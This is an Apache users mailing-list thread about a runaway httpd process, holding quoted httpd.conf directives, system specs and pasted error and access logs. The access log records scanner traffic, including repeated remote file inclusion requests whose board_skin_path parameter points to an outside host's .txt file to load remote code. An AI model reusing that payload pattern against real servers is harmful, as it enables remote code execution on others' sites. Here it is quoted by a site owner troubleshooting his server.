>>> #
>>> # Aliases: Add here as many aliases as you need (with no limit). The
>>> format
>>> is
>>> # Alias fakename realname
>>> #
>>> # Note that if you include a trailing / on fakename then the server will
>>> # require it to be present in the URL.  So "/icons" isn't aliased in this
>>> # example, only "/icons/".  If the fakename is slash-terminated, then the
>>> # realname must also be slash terminated, and if the fakename omits the
>>> # trailing slash, the realname must also omit it.
>>> #
>>> # We include the /icons/ alias for FancyIndexed directory listings.  If
>>> you
>>> # do not use FancyIndexing, you may comment this out.
>>> #
>>> Alias /icons/ "/var/www/icons/"
>>>
>>> <Directory "/var/www/icons">
>>>   Options Indexes MultiViews FollowSymLinks
>>>   AllowOverride None
>>>   Order allow,deny
>>>   Allow from all
>>> </Directory>
>>>
>>> #
>>> # WebDAV module configuration section.
>>> #
>>> <IfModule mod_dav_fs.c>
>>>   # Location of the WebDAV lock database.
>>>   DAVLockDB /var/lib/dav/lockdb
>>> </IfModule>
>>>
>>> #
>>> # ScriptAlias: This controls which directories contain server scripts.
>>> # ScriptAliases are essentially the same as Aliases, except that
>>> # documents in the realname directory are treated as applications and
>>> # run by the server when requested rather than as documents sent to the
>>> client.
>>> # The same rules about trailing "/" apply to ScriptAlias directives as to
>>> # Alias.
>>> #
>>> ScriptAlias /cgi-bin/ "/var/www/cgi-bin/"
>>>
>>> #
>>> # "/var/www/cgi-bin" should be changed to whatever your ScriptAliased
>>> # CGI directory exists, if you have that configured.
>>> #
>>> <Directory "/var/www/cgi-bin">
>>>   AllowOverride None
>>>   Options None
>>>   Order allow,deny
>>>   Allow from all
>>> </Directory>
>>>
>>> #
>>> # Redirect allows you to tell clients about documents which used to exist
>>> in
>>> # your server's namespace, but do not anymore. This allows you to tell
>>> the
>>> # clients where to look for the relocated document.
>>> # Example:
>>> # Redirect permanent /foo http://www.example.com/bar
>>>
>>> #
>>> # Directives controlling the display of server-generated directory
>>> listings.
>>> #
>>>
>>> #
>>> # IndexOptions: Controls the appearance of server-generated directory
>>> # listings.
>>> #
>>> IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable
>>> Charset=UTF-8
>>>
>>> #
>>> # AddIcon* directives tell the server which icon to show for different
>>> # files or filename extensions.  These are only displayed for
>>> # FancyIndexed directories.
>>> #
>>> AddIconByEncoding (CMP,/icons/compressed.gif) x-compress x-gzip
>>>
>>> AddIconByType (TXT,/icons/text.gif) text/*
>>> AddIconByType (IMG,/icons/image2.gif) image/*
>>> AddIconByType (SND,/icons/sound2.gif) audio/*
>>> AddIconByType (VID,/icons/movie.gif) video/*
>>>
>>> AddIcon /icons/binary.gif .bin .exe
>>> AddIcon /icons/binhex.gif .hqx
>>> AddIcon /icons/tar.gif .tar
>>> AddIcon /icons/world2.gif .wrl .wrl.gz .vrml .vrm .iv
>>> AddIcon /icons/compressed.gif .Z .z .tgz .gz .zip
>>> AddIcon /icons/a.gif .ps .ai .eps
>>> AddIcon /icons/layout.gif .html .shtml .htm .pdf
>>> AddIcon /icons/text.gif .txt
>>> AddIcon /icons/c.gif .c
>>> AddIcon /icons/p.gif .pl .py
>>> AddIcon /icons/f.gif .for
>>> AddIcon /icons/dvi.gif .dvi
>>> AddIcon /icons/uuencoded.gif .uu
>>> AddIcon /icons/script.gif .conf .sh .shar .csh .ksh .tcl
>>> AddIcon /icons/tex.gif .tex
>>> AddIcon /icons/bomb.gif core
>>>
>>> AddIcon /icons/back.gif ..
>>> AddIcon /icons/hand.right.gif README
>>> AddIcon /icons/folder.gif ^^DIRECTORY^^
>>> AddIcon /icons/blank.gif ^^BLANKICON^^
>>>
>>> #
>>> # DefaultIcon is which icon to show for files which do not have an icon
>>> # explicitly set.
>>> #
>>> DefaultIcon /icons/unknown.gif
>>>
>>> #
>>> # AddDescription allows you to place a short description after a file in
>>> # server-generated indexes.  These are only displayed for FancyIndexed
>>> # directories.
>>> # Format: AddDescription "description" filename
>>> #
>>> #AddDescription "GZIP compressed document" .gz
>>> #AddDescription "tar archive" .tar
>>> #AddDescription "GZIP compressed tar archive" .tgz
>>>
>>> #
>>> # ReadmeName is the name of the README file the server will look for by
>>> # default, and append to directory listings.
>>> #
>>> # HeaderName is the name of a file which should be prepended to
>>> # directory indexes.
>>> ReadmeName README.html
>>> HeaderName HEADER.html
>>>
>>> #
>>> # IndexIgnore is a set of filenames which directory indexing should
>>> ignore
>>> # and not include in the listing.  Shell-style wildcarding is permitted.
>>> #
>>> IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t
>>>
>>> #
>>> # DefaultLanguage and AddLanguage allows you to specify the language of
>>> # a document. You can then use content negotiation to give a browser a
>>> # file in a language the user can understand.
>>> #
>>> # Specify a default language. This means that all data
>>> # going out without a specific language tag (see below) will
>>> # be marked with this one. You probably do NOT want to set
>>> # this unless you are sure it is correct for all cases.
>>> #
>>> # * It is generally better to not mark a page as
>>> # * being a certain language than marking it with the wrong
>>> # * language!
>>> #
>>> # DefaultLanguage nl
>>> #
>>> # Note 1: The suffix does not have to be the same as the language
>>> # keyword --- those with documents in Polish (whose net-standard
>>> # language code is pl) may wish to use "AddLanguage pl .po" to
>>> # avoid the ambiguity with the common suffix for perl scripts.
>>> #
>>> # Note 2: The example entries below illustrate that in some cases
>>> # the two character 'Language' abbreviation is not identical to
>>> # the two character 'Country' code for its country,
>>> # E.g. 'Danmark/dk' versus 'Danish/da'.
>>> #
>>> # Note 3: In the case of 'ltz' we violate the RFC by using a three char
>>> # specifier. There is 'work in progress' to fix this and get
>>> # the reference data for rfc1766 cleaned up.
>>> #
>>> # Catalan (ca) - Croatian (hr) - Czech (cs) - Danish (da) - Dutch (nl)
>>> # English (en) - Esperanto (eo) - Estonian (et) - French (fr) - German
>>> (de)
>>> # Greek-Modern (el) - Hebrew (he) - Italian (it) - Japanese (ja)
>>> # Korean (ko) - Luxembourgeois* (ltz) - Norwegian Nynorsk (nn)
>>> # Norwegian (no) - Polish (pl) - Portugese (pt)
>>> # Brazilian Portuguese (pt-BR) - Russian (ru) - Swedish (sv)
>>> # Simplified Chinese (zh-CN) - Spanish (es) - Traditional Chinese (zh-TW)
>>> #
>>> AddLanguage ca .ca
>>> AddLanguage cs .cz .cs
>>> AddLanguage da .dk
>>> AddLanguage de .de
>>> AddLanguage el .el
>>> AddLanguage en .en
>>> AddLanguage eo .eo
>>> AddLanguage es .es
>>> AddLanguage et .et
>>> AddLanguage fr .fr
>>> AddLanguage he .he
>>> AddLanguage hr .hr
>>> AddLanguage it .it
>>> AddLanguage ja .ja
>>> AddLanguage ko .ko
>>> AddLanguage ltz .ltz
>>> AddLanguage nl .nl
>>> AddLanguage nn .nn
>>> AddLanguage no .no
>>> AddLanguage pl .po
>>> AddLanguage pt .pt
>>> AddLanguage pt-BR .pt-br
>>> AddLanguage ru .ru
>>> AddLanguage sv .sv
>>> AddLanguage zh-CN .zh-cn
>>> AddLanguage zh-TW .zh-tw
>>>
>>> #
>>> # LanguagePriority allows you to give precedence to some languages
>>> # in case of a tie during content negotiation.
>>> #
>>> # Just list the languages in decreasing order of preference. We have
>>> # more or less alphabetized them here. You probably want to change this.
>>> #
>>> LanguagePriority en ca cs da de el eo es et fr he hr it ja ko ltz nl nn
>>> no
>>> pl pt pt-BR ru sv zh-CN zh-TW
>>>
>>> #
>>> # ForceLanguagePriority allows you to serve a result page rather than
>>> # MULTIPLE CHOICES (Prefer) [in case of a tie] or NOT ACCEPTABLE
>>> (Fallback)
>>> # [in case no accepted languages matched the available variants]
>>> #
>>> ForceLanguagePriority Prefer Fallback
>>>
>>> #
>>> # Specify a default charset for all content served; this enables
>>> # interpretation of all content as UTF-8 by default.  To use the
>>> # default browser choice (ISO-8859-1), or to allow the META tags
>>> # in HTML content to override this choice, comment out this
>>> # directive:
>>> #
>>> AddDefaultCharset UTF-8
>>>
>>> #
>>> # AddType allows you to add to or override the MIME configuration
>>> # file mime.types for specific file types.
>>> #
>>> #AddType application/x-tar .tgz
>>>
>>> #
>>> # AddEncoding allows you to have certain browsers uncompress
>>> # information on the fly. Note: Not all browsers support this.
>>> # Despite the name similarity, the following Add* directives have nothing
>>> # to do with the FancyIndexing customization directives above.
>>> #
>>> #AddEncoding x-compress .Z
>>> #AddEncoding x-gzip .gz .tgz
>>>
>>> # If the AddEncoding directives above are commented-out, then you
>>> # probably should define those extensions to indicate media types:
>>> #
>>> AddType application/x-compress .Z
>>> AddType application/x-gzip .gz .tgz
>>>
>>> #
>>> #   MIME-types for downloading Certificates and CRLs
>>> #
>>> AddType application/x-x509-ca-cert .crt
>>> AddType application/x-pkcs7-crl    .crl
>>>
>>> #
>>> # AddHandler allows you to map certain file extensions to "handlers":
>>> # actions unrelated to filetype. These can be either built into the
>>> server
>>> # or added with the Action directive (see below)
>>> #
>>> # To use CGI scripts outside of ScriptAliased directories:
>>> # (You will also need to add "ExecCGI" to the "Options" directive.)
>>> #
>>> #AddHandler cgi-script .cgi
>>>
>>> #
>>> # For files that include their own HTTP headers:
>>> #
>>> #AddHandler send-as-is asis
>>>
>>> #
>>> # For type maps (negotiated resources):
>>> # (This is enabled by default to allow the Apache "It Worked" page
>>> #  to be distributed in multiple languages.)
>>> #
>>> AddHandler type-map var
>>>
>>> #
>>> # Filters allow you to process content before it is sent to the client.
>>> #
>>> # To parse .shtml files for server-side includes (SSI):
>>> # (You will also need to add "Includes" to the "Options" directive.)
>>> #
>>> AddType text/html .shtml
>>> AddOutputFilter INCLUDES .shtml
>>>
>>> #
>>> # Action lets you define media types that will execute a script whenever
>>> # a matching file is called. This eliminates the need for repeated URL
>>> # pathnames for oft-used CGI file processors.
>>> # Format: Action media/type /cgi-script/location
>>> # Format: Action handler-name /cgi-script/location
>>> #
>>>
>>> #
>>> # Customizable error responses come in three flavors:
>>> # 1) plain text 2) local redirects 3) external redirects
>>> #
>>> # Some examples:
>>> #ErrorDocument 500 "The server made a boo boo."
>>> #ErrorDocument 404 /missing.html
>>> #ErrorDocument 404 "/cgi-bin/missing_handler.pl"
>>> #ErrorDocument 402 http://www.example.com/subscription_info.html
>>> #
>>>
>>> #
>>> # Putting this all together, we can internationalize error responses.
>>> #
>>> # We use Alias to redirect any /error/HTTP_<error>.html.var response to
>>> # our collection of by-error message multi-language collections.  We use
>>> # includes to substitute the appropriate text.
>>> #
>>> # You can modify the messages' appearance without changing any of the
>>> # default HTTP_<error>.html.var files by adding the line:
>>> #
>>> #   Alias /error/include/ "/your/include/path/"
>>> #
>>> # which allows you to create your own set of files by starting with the
>>> # /var/www/error/include/ files and
>>> # copying them to /your/include/path/, even on a per-VirtualHost basis.
>>> #
>>>
>>> Alias /error/ "/var/www/error/"
>>>
>>> <IfModule mod_negotiation.c>
>>> <IfModule mod_include.c>
>>>   <Directory "/var/www/error">
>>>       AllowOverride None
>>>       Options IncludesNoExec
>>>       AddOutputFilter Includes html
>>>       AddHandler type-map var
>>>       Order allow,deny
>>>       Allow from all
>>>       LanguagePriority en es de fr
>>>       ForceLanguagePriority Prefer Fallback
>>>   </Directory>
>>>
>>> #    ErrorDocument 400 /error/HTTP_BAD_REQUEST.html.var
>>> #    ErrorDocument 401 /error/HTTP_UNAUTHORIZED.html.var
>>> #    ErrorDocument 403 /error/HTTP_FORBIDDEN.html.var
>>> #    ErrorDocument 404 /error/HTTP_NOT_FOUND.html.var
>>> #    ErrorDocument 405 /error/HTTP_METHOD_NOT_ALLOWED.html.var
>>> #    ErrorDocument 408 /error/HTTP_REQUEST_TIME_OUT.html.var
>>> #    ErrorDocument 410 /error/HTTP_GONE.html.var
>>> #    ErrorDocument 411 /error/HTTP_LENGTH_REQUIRED.html.var
>>> #    ErrorDocument 412 /error/HTTP_PRECONDITION_FAILED.html.var
>>> #    ErrorDocument 413 /error/HTTP_REQUEST_ENTITY_TOO_LARGE.html.var
>>> #    ErrorDocument 414 /error/HTTP_REQUEST_URI_TOO_LARGE.html.var
>>> #    ErrorDocument 415 /error/HTTP_UNSUPPORTED_MEDIA_TYPE.html.var
>>> #    ErrorDocument 500 /error/HTTP_INTERNAL_SERVER_ERROR.html.var
>>> #    ErrorDocument 501 /error/HTTP_NOT_IMPLEMENTED.html.var
>>> #    ErrorDocument 502 /error/HTTP_BAD_GATEWAY.html.var
>>> #    ErrorDocument 503 /error/HTTP_SERVICE_UNAVAILABLE.html.var
>>> #    ErrorDocument 506 /error/HTTP_VARIANT_ALSO_VARIES.html.var
>>>
>>> </IfModule>
>>> </IfModule>
>>>
>>> #
>>> # The following directives modify normal HTTP response behavior to
>>> # handle known problems with browser implementations.
>>> #
>>> BrowserMatch "Mozilla/2" nokeepalive
>>> BrowserMatch "MSIE 4\.0b2;" nokeepalive downgrade-1.0 force-response-1.0
>>> BrowserMatch "RealPlayer 4\.0" force-response-1.0
>>> BrowserMatch "Java/1\.0" force-response-1.0
>>> BrowserMatch "JDK/1\.0" force-response-1.0
>>>
>>> #
>>> # The following directive disables redirects on non-GET requests for
>>> # a directory that does not include the trailing slash.  This fixes a
>>> # problem with Microsoft WebFolders which does not appropriately handle
>>> # redirects for folders with DAV methods.
>>> # Same deal with Apple's DAV filesystem and Gnome VFS support for DAV.
>>> #
>>> BrowserMatch "Microsoft Data Access Internet Publishing Provider"
>>> redirect-carefully
>>> BrowserMatch "MS FrontPage" redirect-carefully
>>> BrowserMatch "^WebDrive" redirect-carefully
>>> BrowserMatch "^WebDAVFS/1.[0123]" redirect-carefully
>>> BrowserMatch "^gnome-vfs/1.0" redirect-carefully
>>> BrowserMatch "^XML Spy" redirect-carefully
>>> BrowserMatch "^Dreamweaver-WebDAV-SCM1" redirect-carefully
>>>
>>> #
>>> # Allow server status reports generated by mod_status,
>>> # with the URL of http://servername/server-status
>>> # Change the ".example.com" to match your domain to enable.
>>> #
>>> #<Location /server-status>
>>> #    SetHandler server-status
>>> #    Order deny,allow
>>> #    Deny from all
>>> #    Allow from .example.com
>>> #</Location>
>>>
>>> #
>>> # Allow remote server configuration reports, with the URL of
>>> #  http://servername/server-info (requires that mod_info.c be loaded).
>>> # Change the ".example.com" to match your domain to enable.
>>> #
>>> #<Location /server-info>
>>> #    SetHandler server-info
>>> #    Order deny,allow
>>> #    Deny from all
>>> #    Allow from .example.com
>>> #</Location>
>>>
>>> #
>>> # Proxy Server directives. Uncomment the following lines to
>>> # enable the proxy server:
>>> #
>>> #<IfModule mod_proxy.c>
>>> #ProxyRequests On
>>> #
>>> #<Proxy *>
>>> #    Order deny,allow
>>> #    Deny from all
>>> #    Allow from .example.com
>>> #</Proxy>
>>>
>>> #
>>> # Enable/disable the handling of HTTP/1.1 "Via:" headers.
>>> # ("Full" adds the server version; "Block" removes all outgoing Via:
>>> headers)
>>> # Set to one of: Off | On | Full | Block
>>> #
>>> #ProxyVia On
>>>
>>> #
>>> # To enable a cache of proxied content, uncomment the following lines.
>>> # See http://httpd.apache.org/docs/2.2/mod/mod_cache.html for more
>>> details.
>>> #
>>> #<IfModule mod_disk_cache.c>
>>> #   CacheEnable disk /
>>> #   CacheRoot "/var/cache/mod_proxy"
>>> #</IfModule>
>>> #
>>>
>>> #</IfModule>
>>> # End of proxy directives.
>>>
>>> ### Section 3: Virtual Hosts
>>> #
>>> # VirtualHost: If you want to maintain multiple domains/hostnames on your
>>> # machine you can setup VirtualHost containers for them. Most
>>> configurations
>>> # use only name-based virtual hosts so the server doesn't need to worry
>>> about
>>> # IP addresses. This is indicated by the asterisks in the directives
>>> below.
>>> #
>>> # Please see the documentation at
>>> # <URL:http://httpd.apache.org/docs/2.2/vhosts/>
>>> # for further details before you try to setup virtual hosts.
>>> #
>>> # You may use the command line option '-S' to verify your virtual host
>>> # configuration.
>>>
>>> #
>>> # Use name-based virtual hosting.
>>> #
>>> NameVirtualHost *:80
>>> #
>>> # NOTE: NameVirtualHost cannot be used without a port specifier
>>> # (e.g. :80) if mod_ssl is being used, due to the nature of the
>>> # SSL protocol.
>>> #
>>>
>>> #
>>> # VirtualHost example:
>>> # Almost any Apache directive may go into a VirtualHost container.
>>> # The first VirtualHost section is used for requests without a known
>>> # server name.
>>> #
>>> #<VirtualHost *:80>
>>> #    ServerAdmin webmaster@dummy-host.example.com
>>> #    DocumentRoot /www/docs/dummy-host.example.com
>>> #    ServerName dummy-host.example.com
>>> #    ErrorLog logs/dummy-host.example.com-error_log
>>> #    CustomLog logs/dummy-host.example.com-access_log common
>>> #</VirtualHost>
>>>
>>> <!--Snipped all my virtual hosts to cut down on message size, they are in
>>> the conf-->
>>>
>>>
>>
>>
>>
>>> ---------------------------------------------------------------------
>>> The official User-To-User support forum of the Apache HTTP Server
>>> Project.
>>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>>> For additional commands, e-mail: users-help@httpd.apache.org
>>>
>>
>> Dan,
>>
>> Can you provide your full system specs.  A Dual Core machine can be a dual
>> P100.
>>
>> Thanks,
>> Daniel
>>
>> ---------------------------------------------------------------------
>> The official User-To-User support forum of the Apache HTTP Server Project.
>> See <URL:http://httpd.apache.org/userslist.html> for more info.
>> To unsubscribe, e-mail: users-unsubscribe@httpd.apache.org
>>  "   from the digest: users-digest-unsubscribe@httpd.apache.org
>> For additional commands, e-mail: users-help@httpd.apache.org
>>
>>
>

Re: [users@httpd] Runaway Apache Process

Posted by Dan Bunyard <da...@gmail.com>.
I'm going to try to answer all the questions in one email here.

@Daniel Reinhardt
Here are the full specs:
CPU: Pentium Dual Core E2220 @ 2.40GHz
RAM: 5GB DDR2 PC2-6400 @ 800MHz
Hard Drive: Western Digital SATA II 500GB
I'm running Fedora 12 (Constantine) on it currently and Apache version
2.2.14 with PHP version 5.3.1 and MySQL version 5.1.42.

@Nicholas Sherlock
I will check that when it happens again.  I can't imagine that it's MySQL
though, when I ran a "top" everything in the list (that I could see) was
httpd, there was no sign of MySQL in there.  I will be sure to check that
though next time.

@Reese
Nothing special that I can see.  I have included the error_log and
access_log for the hour or so leading up to when I restarted the service
(they are below my signature).  I also zipped and attached the full logs I
grabbed shortly after I restarted the service.

I can't imagine that my 512Kb up DSL would even provide enough bandwidth to
be able to crash Apache.  It's almost like it's being fork bombed.  Thanks
for you help!!
--
Dan

http://www.moonlightrpg.com
http://www.linkedin.com/in/danbunyard
http://www.danodemano.com
http://www.dansrandomness.com
http://www.danandshelley.com

This is not a problem that requires infinite wisdom, Benj. This is a problem
that requires enough neural organization to qualify as a vertebrate,
apparently a stretch for some folks these days.
~Cecil Adams.

error_log:
[Mon Jan 25 11:05:23 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/delete_all.php' not found or unable to stat
[Mon Jan 25 11:05:24 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/delete_all.php' not found or unable to stat
[Mon Jan 25 11:05:25 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/delete_all.php' not found or unable to stat
[Mon Jan 25 11:11:47 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/write_update.php' not found or unable to stat
[Mon Jan 25 11:11:47 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/write_update.php' not found or unable to stat
[Mon Jan 25 11:11:51 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/write_update.php' not found or unable to stat
[Mon Jan 25 11:15:08 2010] [error] [client 189.108.236.148] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
[Mon Jan 25 11:15:08 2010] [error] [client 189.108.236.148] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
[Mon Jan 25 11:24:06 2010] [error] [client 195.137.64.88] File does not
exist: /var/www/html/lotgd/
[Mon Jan 25 11:24:06 2010] [error] [client 195.137.64.88] script
'/var/www/html/lotgd/delete_all.php' not found or unable to stat
[Mon Jan 25 11:24:23 2010] [error] [client 195.137.64.88] File does not
exist: /var/www/html/lotgd/motd.php
[Mon Jan 25 11:25:02 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:25:02 2010] [error] [client 210.205.6.130] script
'/var/www/html/lotgd/write_update.php' not found or unable to stat
[Mon Jan 25 11:25:10 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:25:25 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:25:27 2010] [error] [client 86.109.170.73] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
[Mon Jan 25 11:25:27 2010] [error] [client 86.109.170.73] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
[Mon Jan 25 11:25:27 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:25:35 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:25:46 2010] [error] [client 86.109.170.73] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
[Mon Jan 25 11:25:46 2010] [error] [client 86.109.170.73] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
[Mon Jan 25 11:25:46 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:26:51 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:29:31 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/formmail_send.php' not found or unable to stat
[Mon Jan 25 11:31:41 2010] [error] [client 210.205.6.233] script
'/var/www/html/lotgd/write_comment_update.php' not found or unable to stat
[Mon Jan 25 11:32:19 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/_tail.php' not found or unable to stat
[Mon Jan 25 11:32:28 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/_tail.php' not found or unable to stat
[Mon Jan 25 11:32:47 2010] [error] [client 195.137.64.88] script
'/var/www/html/lotgd/write_comment_update.php' not found or unable to stat
[Mon Jan 25 11:32:52 2010] [error] [client 86.109.170.73] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-183459
[Mon Jan 25 11:32:52 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/_tail.php' not found or unable to stat
[Mon Jan 25 11:32:53 2010] [error] [client 86.109.170.73] File does not
exist: /var/www/html/lotgd/about.php%3Fc%3D1-175740
[Mon Jan 25 11:33:33 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/_tail.php' not found or unable to stat
[Mon Jan 25 11:33:42 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/_tail.php' not found or unable to stat
[Mon Jan 25 11:35:50 2010] [error] [client 195.137.64.88] File does not
exist: /var/www/html/lotgd/
[Mon Jan 25 11:35:50 2010] [error] [client 195.137.64.88] script
'/var/www/html/lotgd/write_comment_update.php' not found or unable to stat
[Mon Jan 25 11:36:08 2010] [error] [client 86.109.170.73] script
'/var/www/html/lotgd/_tail.php' not found or unable to stat
[Mon Jan 25 11:37:37 2010] [error] [client 66.249.65.242] script
'/var/www/html/photoalbum/p/feverishcomedian.php' not found or unable to
stat
[Mon Jan 25 11:43:19 2010] [error] server reached MaxClients setting,
consider raising the MaxClients setting

access_log:
66.249.65.47 - - [25/Jan/2010:11:00:34 -0500] "GET /d/20920-2/img_7897.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:00:35 -0500] "GET /d/20920-2/img_7897.jpg
HTTP/1.1" 200 3619 "-" "Googlebot-Image/1.0"
203.198.126.43 - - [25/Jan/2010:11:01:48 -0500] "GET /guestbook.php
HTTP/1.0" 200 19758 "http://www.danodemano.com/guestbook.php" "Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01"
203.198.126.43 - - [25/Jan/2010:11:01:52 -0500] "POST / HTTP/1.0" 200 20549
"http://www.danodemano.com/guestbook.php" "Mozilla/4.0 (compatible; MSIE
6.0; Windows NT 5.1; ru) Opera 8.01"
66.249.65.51 - - [25/Jan/2010:11:01:54 -0500] "GET /d/21173-2/img_7960.jpg
HTTP/1.1" 200 3037 "-" "Googlebot-Image/1.0"
66.249.65.47 - - [25/Jan/2010:11:01:54 -0500] "GET /d/37315-2/img_0907.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:01:55 -0500] "GET /d/37315-2/img_0907.jpg
HTTP/1.1" 200 6273 "-" "Googlebot-Image/1.0"
66.249.65.47 - - [25/Jan/2010:11:03:13 -0500] "GET /d/13563-1/img_0914.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:03:14 -0500] "GET /d/13563-1/img_0914.jpg
HTTP/1.1" 200 176360 "-" "Googlebot-Image/1.0"
60.242.147.232 - - [25/Jan/2010:11:03:21 -0500] "GET
/index.php/2009/05/27/fuck-you-microsoft?blog=1 HTTP/1.1" 301 - "-"
"Internet Explorer 8.0 (Windows XP)"
70.166.97.125 - - [25/Jan/2010:11:03:31 -0500] "GET
/index.php/2008/08/07/the-hd-radio-hype?blog=1 HTTP/1.1" 301 - "-"
"Mozilla/4.0 (compatible; MSIE 5.01; Windows XP)"
66.249.65.16 - - [25/Jan/2010:11:03:35 -0500] "GET /list.php?c=1-003459
HTTP/1.1" 200 17595 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:04:33 -0500] "GET /d/272-4/img_7555.jpg
HTTP/1.1" 301 344 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:04:34 -0500] "GET /d/272-4/img_7555.jpg
HTTP/1.1" 200 57283 "-" "Googlebot-Image/1.0"
12.237.231.235 - - [25/Jan/2010:11:05:08 -0500] "POST
/htsrv/trackback.php?tb_id=28 HTTP/1.1" 500 859 "-" "curl/7.19.6
(i386-pc-win32) libcurl/7.19.6 OpenSSL/0.9.8k zlib/1.2.3"
210.205.6.130 - - [25/Jan/2010:11:05:22 -0500] "GET
/about.php?c=1-183459/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25581
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:22 -0500] "GET
/about.php?c=1-183140/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25577
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:23 -0500] "GET
/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 298
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:24 -0500] "GET
/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 298
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:24 -0500] "GET
/about.php?c=1-183459/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25576
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:24 -0500] "GET
/about.php?c=1-183140/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25576
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:25 -0500] "GET
/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 404 298
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:25 -0500] "GET
/about.php?c=1-183140/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25576
"-" "Mozilla/5.0"
210.205.6.130 - - [25/Jan/2010:11:05:25 -0500] "GET
/about.php?c=1-183459/delete_all.php?board_skin_path=
http://www.kortech.cn/bbs//skin/zero_vote/fx29id1.txt?? HTTP/1.1" 200 25573
"-" "Mozilla/5.0"
66.249.65.16 - - [25/Jan/2010:11:05:44 -0500] "GET /index.php?c=1-091948
HTTP/1.1" 302 - "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.16 - - [25/Jan/2010:11:05:45 -0500] "GET /home.php?c=1-091948
HTTP/1.1" 200 28132 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:05:52 -0500] "GET /d/34776-2/img_0440.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:05:53 -0500] "GET /d/34776-2/img_0440.jpg
HTTP/1.1" 200 6957 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:06:38 -0500] "GET
/main.php?g2_view=rating.RatingCallback&g2_command=rate&g2_itemId=29585&g2_rating=2&g2_authToken=__AUTHTOKEN__
HTTP/1.1" 200 120 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +
http://www.google.com/bot.html)"
66.249.65.47 - - [25/Jan/2010:11:07:11 -0500] "GET /d/13320-1/img_1002.jpg
HTTP/1.1" 301 346 "-" "Googlebot-Image/1.0"
66.249.65.51 - - [25/Jan/2010:11:07:12 -0500] "GET /d/13320-1/img_1002.jpg
HTTP/1.1" 200 156931 "-" "Googlebot-Image/1.0"
74.177.26.225 - - [25/Jan/2010:11:07:42 -0500] "GET
